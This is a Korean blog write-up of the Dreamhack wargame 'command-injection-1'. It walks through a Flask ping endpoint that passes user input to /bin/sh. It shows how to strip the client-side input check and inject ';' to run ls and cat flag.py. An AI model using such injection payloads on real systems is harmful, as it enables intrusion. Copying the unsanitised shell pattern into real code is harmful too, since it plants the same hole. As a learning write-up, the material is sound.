본문 바로가기

Wargame/Web

[Dreamhack] command-injection-1

소스 코드 분석

/ping

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')

입력 값을 ping -c 3 "{입력값}” 형태로 전달하여 명령어 실행한다.

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required>

pattern 변수를 통해 정규 표현식을 지정하고 있다.

 

취약점 분석

입력값으로 받는 host 변수를 검사하지 않아 개발자 도구를 이용해 pattern 변수를 삭제한 후, ‘;’ ‘|’ 등의 명령어 연속 실행 문자열을 통해 추가로 명령 실행이 가능하다.

 

익스플로잇

flag 파일 위치

개발자 도구를 이용하여 pattern 부분에 정규 표현식을 사용하여 명령어 전달

8.8.8.8" ; ls #
ping -c 3 "8.8.8.8" ; ls # " # 실제 실행되는 명령어

FLAG 확인

8.8.8.8" ; cat flag.py #

반응형

'Wargame > Web' 카테고리의 다른 글

[Dreamhack] file-download-1  (0) 2024.05.16
[Dreamhack] image-storage  (0) 2024.05.14
[Dreamhack] Mango  (0) 2024.02.24
[Dreamhack] simple-sqli  (0) 2024.02.24
[Dreamhack] csrf-2  (2) 2024.02.18